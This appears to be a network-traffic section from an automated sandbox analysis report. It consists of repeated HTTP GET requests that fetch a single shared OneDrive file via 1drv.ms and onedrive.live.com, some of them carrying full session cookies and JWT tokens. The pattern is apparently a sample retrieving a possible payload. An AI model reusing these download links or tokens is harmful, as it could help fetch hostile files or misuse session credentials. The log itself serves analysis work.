Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODk1LCJuYmYiOjE3MjAxMTcwOTUsImdpdmVuX25hbWUiOiIxMiIsImZhbWlseV9uYW1lIjoiQ295b3RlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiYmZhNTc4Njk1NTdiNjA0YzIwMWY2ZWJmZGJjMzI4YzYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA5NX0.H2432H6DxZBc8h7VFQ7iQLq1XFbjgXmhQavar0D-3H4dEWJ4VhMG5USX7rAJhhC9swAAJrP2qLR-4kKR63uM91ZdtLtHqFvV9IfhacV_EdzDyy4RlDE3ymmUO3SNoirjkUTs0mRAYKgrLD21sHIQqO8zN2LosIY1FjBG9W1hyzrleM3VfWEZ5IUu1WbNqgqdPyFYUoLoxvrYuXfz3Eg0XKf7s3PFd8F8ZJawgbF_YwLMvNrsbxanEESv_wVdKJTBuYr-rS3RIUGpqEme2waON3E846jtFqB3X-tlQyHTW8pTMF5ukZX-I1SE6KsgTMjcTGzPrFhZ6f_NqGBXbI4Mlw; E=P:254+rFWc3Ig=:/6IM2RoWuCCwUeJNNVbO9XiTtuWYRPF61YOtmAM50m8=:F; xid=77591dcf-37d0-4018-9ef8-22435e9981af&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODk5LCJuYmYiOjE3MjAxMTcwOTksImdpdmVuX25hbWUiOiI1NSIsImZhbWlseV9uYW1lIjoiRWNoaWRuYSIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImI5MTJiZTRiMzYyNTViNjE4OGI4ODA1MzM3MjkxODIzIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwOTl9.kWc5U87bskN9HQbHb9G0j6QhXJp-WYLI2KEFTsxt2_qf6n5GupuIbUWgaY6M2CNZLQ7yQFyYjcu_tLGRMos9JbTjMfW8wzzZ7iuVlTLgSmLLph39_dCa1y5a2oLPHFtR4wyqJjVBpWaSCEZzzFJC1E7PcABzCBQ5WSaz7gtPm3xzZ5hppFkzLVaO_hXl0N1Vce9NpBfQhxOENdUvu6dRUN-hDEq58mZqjPjw4cmQgSSKEux9foi2Q-OdpSli1xgiKIEmEeuGdyNaa_Po4heEVpoeo2cBOmDXAx7ZQaiXhSkTLcQkFoxuquoHYCMjWC5gELKmJEuWzNo2bI3KZulIXg; E=P:dctfrlWc3Ig=:Zn5Z13tmqfSvv/5jwQHAyrALvyH6C6bJOkgYeRkqSsU=:F; xid=903738a5-6a5b-41e6-a4c3-ba5c04dc92fb&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTA0LCJuYmYiOjE3MjAxMTcxMDQsImdpdmVuX25hbWUiOiI3MSIsImZhbWlseV9uYW1lIjoiUGhlYXNhbnQiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJkYzhiOGY3ODcxN2IyMTRhY2QxMGNmMmI0ZWFlNjhiZiIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MTA0fQ.UuYYen0QcYfQdS4GlDSn60QdeVntaac2Y50AWoNn4nEO3tVGu49kHwkTc2dd7WAunYFx0THx83NSvcKZ6hIzYsP9CN3W-C4OOEobho-RFQqmcV2s_MI3tKdSjw1ntiaTaocGWfYRKb2sUnxPHS1sllLHWX9nDb4_jNtv4LOrpF6YsIkMccEbaOgcyb_2ugjS1humOnpgKjJtLElBoZ4FHGfcKx_aWADA1qOcCxxXWPw1n2hcqZSaiC7Zd0ql3Q8Cctuve6yFpe4bIJZIDeWzcLMnxoG1l7I1owwL1_IFTGbupsh4wwMANncIVbEtJWlAbRXnBPl1z8mIdRYAOW-C6Q; E=P:5uKisVWc3Ig=:aB143pg1cpMIJXf3edeemF+NFcftTHO43XY+UO1NNKg=:F; xid=5dbac1d5-9169-4c2c-ab70-eb8f6a1b22c4&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTA3LCJuYmYiOjE3MjAxMTcxMDcsImdpdmVuX25hbWUiOiIzNyIsImZhbWlseV9uYW1lIjoiV29sZiIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImQ5YmE1Y2E2OGQ3YjQxZTFhNWRkYmRhNTljOGE0YzYyIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxMDd9.kdrP-Jkqko4mw1az0dyOw61YvDxqdzbePyBDajpQzfk-8Inytl4npXyOScrKifzb-Y1S5yu_S6JeUeUBcIncBWkMSDQqXyUeE03AZm415LDJt9VDsocTI-fQfYM80SX0SwCuWL0jEcHgZ-6cNv3s0mo8BRk0Rb85ag1YMDjYl6m3mAr-gm-D7HTov7X0ZjdPoer2xoYy69I6I5TXR5qV1UnHv91wLEUoZp8C8D7NAWU36KxLgDrSH_B5mbwCOke080SzH76i9lDGO2eLxEXZqgA2KKhDk8C2wTbvO9MMtkLIW8IjGArud5cvdrPbuuthlnzBmnnKhsdEqDxW9Z782w; E=P:/IGWs1Wc3Ig=:L/f9slybR0yeDCMGjjwEULR/BErYDIg7hqJ1IXGNSGk=:F; xid=a5045077-7005-4fa2-bfa1-980165c0b3ab&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTExLCJuYmYiOjE3MjAxMTcxMTEsImdpdmVuX25hbWUiOiI5MSIsImZhbWlseV9uYW1lIjoiU3RpbmdyYXkiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiIyN2Q5YWM3NGRiN2UyMTYxMGYwMjNkOTI3NDljYTg5MSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MTExfQ.mIewDwjI69-62_IEVZ0d9aHfwjigu0R6BJZb9S3toeSxO-yFF6JVYzXU1Wv-5mA2r45PzpLeWiquU87om-PyF6-5BDYeyVcR5EY6AmK-dWICCEvEw6yDje0Q1iroVg5XinSdn7RhbA9HBZEydevegnp05oiaAlcZH7ekUSKgnnDiMwsvj2Y5YrGmBCUnvAJZJvoyVOohVktUTMBsn3bXvLowGmZWfqk2TJFgL3k67k7k8bUPXrND29OK6nIh93Ov8bXhy0OASKRWoB1nwAr1y5EfZn9mxWgdjV-nUbi4eSa6NNPmVUsw6bi8FQPjQkQFePGzm_Igkbv-K3C1x86wTw; E=P:rcvQtVWc3Ig=:gIQWHCAs00xenigqIJza9nl5p9QlgBOGPWrManleWCQ=:F; xid=e27154ac-1889-4b46-9fce-7cf27bbddfbe&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTE0LCJuYmYiOjE3MjAxMTcxMTQsImdpdmVuX25hbWUiOiI3OCIsImZhbWlseV9uYW1lIjoiUGFydHJpZGdlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZTkxNjI4ZTNiMzFjNWE2YWE0MmM2Zjc5OGYxOTYyMGMiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzExNH0.JBYNGWmFLTlSfKpJbi0vfTNE_qAP-rhof5_8FQ8y8BtflB-Nn-28vmJC3XR3L0RDCiyFUAQR8HSp7hmwHGHLQ3aMFo8_vV1gco7kvjR7oVI0tO6x56dlLcBVKLx1QopQFUjjCFDNHoYac59Z07R8yc-6WmZPiOG3o_47xZI_8CCqJkN2MahXcI8hcYBwnxM5HgGJFwze3_Z-xrEYsxdhi5MgFih79r51FVQCyysYvGtOlr8YAvbc5AUVQgfKS4hAew3JNUIviVbI578FRUQlx7HjB19CBp3G0pSICY2a_1o1mhaSNE2Zzs2OWUvtjRjdPbk-JYVk0pcjkiAfMzPJFA; E=P:6EGyt1Wc3Ig=:j1utgkyk71qbDLdNsaK08Y5UrIdN3kUyJQ8vB9Oyeag=:F; xid=86a09c52-eead-4503-9172-dfcee9b32a05&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTE4LCJuYmYiOjE3MjAxMTcxMTgsImdpdmVuX25hbWUiOiI5NiIsImZhbWlseV9uYW1lIjoiQ3VybGV3IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiYTY4NGMyZDNmMjI3NjlmMDA1YTQxNjYwMDg4NWNjMTgiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzExOH0.c5hgBrVG4nZ5IagX2MTkcn9cTCbuztUDP5ktCGCpxTXQPdO147NSpXXD98EEWVC_03RXDCA-XUSxSUNXWtUihCsp5PLPJQMSo4m2pIJQw-3CQuEhQgdkxisil3qtAsQ3svtdYudGw7Sv0SLxALHy4vsLm565IWRUWpeC4Lali6I8u1p7w47mt_WVUrEmecdIMyVZlYB0ESSd1cFkF4ausUiFEQT6Fr9v0et09hDiKHp0vOLssyleuVdoY4KagfoRGwys-X0bEK-oIWGpsYa9yK8R7i41gwyMmGzbRfI2vWevzrZOtZazwlph2h1kb-NbWDVjmnd6iT6VMZCHym1p9w; E=P:ieuruVWc3Ig=:Xo6vXw/A+EMPRHo+Zp1xAYU5FzKj3a53CNzjc7wEqPQ=:F; xid=ef475d73-85d0-4d68-88ac-2b30875bbe8a&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTIxLCJuYmYiOjE3MjAxMTcxMjEsImdpdmVuX25hbWUiOiI2MCIsImZhbWlseV9uYW1lIjoiR251IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZjI3ZjI4NDE2MTRhYjc4YTZlOTM5Mzk0MjE3MjVjOTYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzEyMX0.CRP_P2wi5Qied15szM9qnBrvjfXGaBY5ra-jX5HVXtNk8wZYQRzYMpJ1fJdm2yQsJYuRqZCDxYrvnyTBQiF6k2cEs6-G34Mp4Zzow-CVvnLjknwRJ234rYnlGqHE6q_yT5-C7nAu8K8i4lPeys63BcCU7OegBWSA1reAQnQJXZe1XnzAnqLIhzODXivfWn6MP5HjmW3WKNUty7x95_ZwVeRNYYQAyo0R2FCBmhAe8S4-eEpumdApnV3_Ky6I0bT1gUgGBI3TFGK7W3UrOpx1ZoUMiEpaDFOv2G00bToywrlUaSCRGNHvjhxRR28yY7GzEqC9qFAY2WWXFei0V7ncMg; E=P:lCTru1Wc3Ig=:vn8cAwnqI90Jh2DnF3gntVhowgpCV6o4POtNH/bqLeE=:F; xid=a38fce7e-c9c1-4a69-b9dd-b97058569348&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTI1LCJuYmYiOjE3MjAxMTcxMjUsImdpdmVuX25hbWUiOiI2NCIsImZhbWlseV9uYW1lIjoiV2F0ZXIgYnVmZmFsbyIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImFlOWNiOWFhYzBjYmM5MGJiMjhmNTk4OGYxM2FmMzBhIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxMjV9.BFWhInfJbr0rZPqEG7Ud1kC2NmMU7GjsHWsXELx5HfERkK1PmxE4YGkRP_zM-koP0uF4LaRRFimoHTYeeIOR56DN83NVwTA7LiSdLX3-9LxuX-ztlmgEJTJz6zxB0oZX-9Sr7xVJvkDeQkAKRw9t7V07PEB0k_hNiXLkEW8-9rp88MWrh4Is3nbgKAwGDKgPaAESVw4-oqB8Xv2p_TgBLytiRAptS8F7YMXjVTHKYUfWvE25YtP7q8FdEN4Z_Nx5a6QkgYVmCQTZhEaUYFJoA1noOznRLQQb4apNnYPWe3KFuavT1KuIbB-t4hrVr3vzgB39GbUuU3iMLk3KzeqbPA; E=P:tqDxvVWc3Ig=:jsQvsT81BWyNVdeiGmYJRxVZ9l8fwTMO4nILaXmS73I=:F; xid=35b02a72-ffd8-47f3-9f8d-c81cea55c5bf&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTI5LCJuYmYiOjE3MjAxMTcxMjksImdpdmVuX25hbWUiOiI0NSIsImZhbWlseV9uYW1lIjoiRmx5IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiNzFiNTUxNGViZGI4ZmVlYzZhNmVlNDQxMTQ5MDJlYTMiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzEyOX0.cJ4g82-bIaVnwlNc1SuLKaUjU4rUuo39j7UBP-c--xsVmTM9r7iRoBUCgeYfvG3QdNFouc8DfHTb9_PgssaBr2CMh_ObkniU13nCHxnDphldH2qKZjGZW6u9iAV0HsxIdqOhT0k3Y3KYHFYFr_XluGPJsFL0kuajCpOwYt34T-5DXsTmNlsN6NRyGdElhOCLahh-S1GgP9x8qXQF261wkAvN0HU1DYLbVmpvx7eG2iDSX4Bsqn98zGFfp9xS5iUqGTbbEzFMifE9Kvt36_ffs_HHMQLJgxtZtdi765L-DMbxZ-Omn9dbxS1fqlGsl2DWJpsWuFz2rX2Ai4H8LyeVpw; E=P:wglpwFWc3Ig=:73sDlOZQKUqQNlJ+ZBLNylXKsyMchTuxk/4m1r7Ed4U=:F; xid=1c0ebc04-624e-482e-aa61-0d921ef35374&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
